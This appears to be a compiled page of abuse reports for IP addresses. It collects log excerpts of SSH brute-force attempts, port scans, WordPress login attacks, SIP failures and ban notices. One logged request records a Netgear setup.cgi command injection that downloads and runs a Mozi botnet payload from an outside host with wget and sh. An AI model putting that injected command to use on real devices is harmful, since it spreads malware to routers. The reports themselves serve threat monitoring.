*Port Scan* detected from 149.202.4.243 (FR/France/Grand Est/Strasbourg/ip243.ip-149-202-4.eu). 4 hits in the last 135 seconds

Aug  2 23:25:44 nextcloud sshd\[15770\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243  user=root
Aug  2 23:25:46 nextcloud sshd\[15770\]: Failed password for root from 149.202.4.243 port 57892 ssh2
Aug  2 23:28:48 nextcloud sshd\[18914\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243  user=root

Jul 19 19:24:40 piServer sshd[21984]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243 
Jul 19 19:24:42 piServer sshd[21984]: Failed password for invalid user florent from 149.202.4.243 port 35440 ssh2
Jul 19 19:27:17 piServer sshd[22271]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243 
...

Jul  9 09:04:54 ws19vmsma01 sshd[83968]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243
Jul  9 09:04:56 ws19vmsma01 sshd[83968]: Failed password for invalid user riak from 149.202.4.243 port 45868 ssh2
...

Jul  8 06:43:18 ns381471 sshd[6118]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243
Jul  8 06:43:20 ns381471 sshd[6118]: Failed password for invalid user xtra from 149.202.4.243 port 39568 ssh2

$f2bV_matches

Jun 14 06:15:56 meumeu sshd[459382]: Invalid user matt from 149.202.4.243 port 49170
Jun 14 06:15:56 meumeu sshd[459382]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243 
Jun 14 06:15:56 meumeu sshd[459382]: Invalid user matt from 149.202.4.243 port 49170
Jun 14 06:15:59 meumeu sshd[459382]: Failed password for invalid user matt from 149.202.4.243 port 49170 ssh2
Jun 14 06:17:49 meumeu sshd[461330]: Invalid user elizabet from 149.202.4.243 port 45020
Jun 14 06:17:49 meumeu sshd[461330]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243 
Jun 14 06:17:49 meumeu sshd[461330]: Invalid user elizabet from 149.202.4.243 port 45020
Jun 14 06:17:51 meumeu sshd[461330]: Failed password for invalid user elizabet from 149.202.4.243 port 45020 ssh2
Jun 14 06:19:38 meumeu sshd[461454]: Invalid user 1q2w3e4r from 149.202.4.243 port 40680
...

Brute-force attempt banned

May 25 19:51:36 NPSTNNYC01T sshd[28669]: Failed password for root from 149.202.4.243 port 60952 ssh2
May 25 19:53:54 NPSTNNYC01T sshd[28889]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243
May 25 19:53:56 NPSTNNYC01T sshd[28889]: Failed password for invalid user secretar from 149.202.4.243 port 37354 ssh2
...

2020-05-06T07:59:34.118403mail.thespaminator.com sshd[24902]: Invalid user mailtest from 149.202.4.243 port 49254
2020-05-06T07:59:37.058146mail.thespaminator.com sshd[24902]: Failed password for invalid user mailtest from 149.202.4.243 port 49254 ssh2
...

Apr 28 22:44:46 vpn01 sshd[11307]: Failed password for root from 149.202.4.243 port 49514 ssh2
...

$f2bV_matches

$f2bV_matches

Feb 25 18:35:47 askasleikir sshd[88807]: Failed password for invalid user jomar from 149.202.4.243 port 45492 ssh2

Feb 21 19:46:47 areeb-Workstation sshd[15170]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.4.243 
Feb 21 19:46:49 areeb-Workstation sshd[15170]: Failed password for invalid user test from 149.202.4.243 port 33920 ssh2
...

$f2bV_matches

Unauthorized connection attempt detected from IP address 149.202.4.243 to port 2220 [J]

2020-09-24T15:11:11.111700mail.standpoint.com.ua sshd[32733]: Failed password for invalid user mia from 149.202.40.210 port 40446 ssh2
2020-09-24T15:15:25.097808mail.standpoint.com.ua sshd[864]: Invalid user tys from 149.202.40.210 port 49906
2020-09-24T15:15:25.100484mail.standpoint.com.ua sshd[864]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=vps-eba9509d.vps.ovh.net
2020-09-24T15:15:25.097808mail.standpoint.com.ua sshd[864]: Invalid user tys from 149.202.40.210 port 49906
2020-09-24T15:15:27.172423mail.standpoint.com.ua sshd[864]: Failed password for invalid user tys from 149.202.40.210 port 49906 ssh2
...

$f2bV_matches

Sep 23 18:55:15 game-panel sshd[28380]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.40.210
Sep 23 18:55:17 game-panel sshd[28380]: Failed password for invalid user user from 149.202.40.210 port 51618 ssh2
Sep 23 19:04:33 game-panel sshd[28672]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.40.210

149.202.40.210 (FR/France/-), 7 distributed sshd attacks on account [root] in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_DISTATTACK; Logs: Sep 18 07:50:10 server5 sshd[25629]: Failed password for root from 149.202.40.210 port 35256 ssh2
Sep 18 07:48:22 server5 sshd[24567]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=196.216.228.111  user=root
Sep 18 07:48:24 server5 sshd[24567]: Failed password for root from 196.216.228.111 port 48644 ssh2
Sep 18 07:48:25 server5 sshd[24575]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.53.2.93  user=root
Sep 18 07:48:26 server5 sshd[24575]: Failed password for root from 106.53.2.93 port 39510 ssh2
Sep 18 07:48:54 server5 sshd[24919]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=60.29.31.98  user=root
Sep 18 07:48:55 server5 sshd[24919]: Failed password for root from 60.29.31.98 port 35884 ssh2

IP Addresses Blocked:

149.202.40.210 (FR/France/-), 6 distributed sshd attacks on account [root] in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_DISTATTACK; Logs: Sep 18 00:56:32 server4 sshd[22750]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.211.17.22  user=root
Sep 18 00:56:34 server4 sshd[22750]: Failed password for root from 129.211.17.22 port 51336 ssh2
Sep 18 01:02:05 server4 sshd[28256]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.127.147  user=root
Sep 18 00:58:39 server4 sshd[24828]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=187.212.195.184  user=root
Sep 18 00:58:41 server4 sshd[24828]: Failed password for root from 187.212.195.184 port 58094 ssh2
Sep 18 00:56:15 server4 sshd[22200]: Failed password for root from 149.202.40.210 port 55946 ssh2

IP Addresses Blocked:

129.211.17.22 (CN/China/-)
167.71.127.147 (US/United States/-)
187.212.195.184 (MX/Mexico/-)

Sep 17 21:29:28 mail sshd[8795]: Failed password for root from 149.202.40.210 port 51840 ssh2

Automatic report - Banned IP Access

Mailserver and mailaccount attacks

Sep  8 17:27:32 vps-51d81928 sshd[310214]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.40.210  user=root
Sep  8 17:27:34 vps-51d81928 sshd[310214]: Failed password for root from 149.202.40.210 port 35576 ssh2
Sep  8 17:29:51 vps-51d81928 sshd[310261]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=149.202.40.210  user=root
Sep  8 17:29:53 vps-51d81928 sshd[310261]: Failed password for root from 149.202.40.210 port 46596 ssh2
Sep  8 17:32:13 vps-51d81928 sshd[310287]: Invalid user viki from 149.202.40.210 port 57618
...

sshd: Failed password for .... from 149.202.40.210 port 39504 ssh2 (8 attempts)

REQUESTED PAGE: /wp-login.php

149.202.45.11 - - [03/Sep/2020:08:23:26 +0100] "POST /wp-login.php HTTP/1.1" 200 1885 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
149.202.45.11 - - [03/Sep/2020:08:23:26 +0100] "POST /wp-login.php HTTP/1.1" 200 1868 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
149.202.45.11 - - [03/Sep/2020:08:23:27 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
...

xmlrpc attack

*Port Scan* detected from 149.202.40.210 (FR/France/Grand Est/Strasbourg/vps-eba9509d.vps.ovh.net). 4 hits in the last 270 seconds

2020-08-30T02:06:30.2365101495-001 sshd[56190]: Invalid user logviewer from 149.202.40.210 port 44180
2020-08-30T02:06:31.8068851495-001 sshd[56190]: Failed password for invalid user logviewer from 149.202.40.210 port 44180 ssh2
2020-08-30T02:12:58.3114691495-001 sshd[56434]: Invalid user opuser from 149.202.40.210 port 48038
2020-08-30T02:12:58.3153381495-001 sshd[56434]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=vps-eba9509d.vps.ovh.net
2020-08-30T02:12:58.3114691495-001 sshd[56434]: Invalid user opuser from 149.202.40.210 port 48038
2020-08-30T02:12:59.8113911495-001 sshd[56434]: Failed password for invalid user opuser from 149.202.40.210 port 48038 ssh2
...

\[Oct  2 03:11:54\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:54441' - Wrong password
\[Oct  2 03:12:29\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:51252' - Wrong password
\[Oct  2 03:13:03\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:64222' - Wrong password
\[Oct  2 03:13:36\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:60693' - Wrong password
\[Oct  2 03:14:09\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:56954' - Wrong password
\[Oct  2 03:14:44\] NOTICE\[31025\] chan_sip.c: Registration from '\' failed for '185.147.212.8:49319' - Wrong password
\[Oct  2 03:15:17\] NOTICE\[31025\] chan_sip.c: Registration from '\' fa
...

Invalid user ubuntu from 43.254.158.179 port 35202

Automatic report - Banned IP Access

42.224.25.179 - - \[30/Sep/2020:22:35:46 +0200\] "GET /setup.cgi\?next_file=netgear.cfg\&todo=syscmd\&cmd=rm+-rf+/tmp/\*\;wget+http://42.224.25.179:49461/Mozi.m+-O+/tmp/netgear\;sh+netgear\&curpath=/\¤tsetting.htm=1 HTTP/1.0" 404 162 "-" "-"
...

" "

Brute force attempt

Oct  1 11:46:14 rotator sshd\[16502\]: Invalid user invitado from 119.28.149.51Oct  1 11:46:16 rotator sshd\[16502\]: Failed password for invalid user invitado from 119.28.149.51 port 54074 ssh2Oct  1 11:49:18 rotator sshd\[16517\]: Invalid user culture from 119.28.149.51Oct  1 11:49:19 rotator sshd\[16517\]: Failed password for invalid user culture from 119.28.149.51 port 60002 ssh2Oct  1 11:52:14 rotator sshd\[17278\]: Failed password for root from 119.28.149.51 port 37692 ssh2Oct  1 11:55:16 rotator sshd\[17471\]: Failed password for root from 119.28.149.51 port 43618 ssh2
...

Invalid user backup2 from 203.183.68.135 port 43130

(sshd) Failed SSH login from 160.124.50.93 (ZA/South Africa/-): 5 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Oct  1 12:24:01 server2 sshd[14562]: Invalid user Justin from 160.124.50.93
Oct  1 12:24:01 server2 sshd[14562]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=160.124.50.93 
Oct  1 12:24:03 server2 sshd[14562]: Failed password for invalid user Justin from 160.124.50.93 port 38558 ssh2
Oct  1 12:36:09 server2 sshd[24491]: Invalid user el from 160.124.50.93
Oct  1 12:36:09 server2 sshd[24491]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=160.124.50.93

2020-05-07 11:53:54,111 fail2ban.actions        [2360]: NOTICE  [dovecot] Ban 118.163.97.19
2020-05-07 22:58:08,351 fail2ban.actions        [2360]: NOTICE  [dovecot] Ban 118.163.97.19

RDPBruteCAu24

WordPress wp-login brute force :: 217.182.140.117 0.072 BYPASS [01/Oct/2020:17:19:25  0000] [censored_2] "POST /wp-login.php HTTP/1.1" 200 2577 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

Brute-force attempt banned

20 attempts against mh-ssh on star

Invalid user odoo from 157.230.109.166 port 37968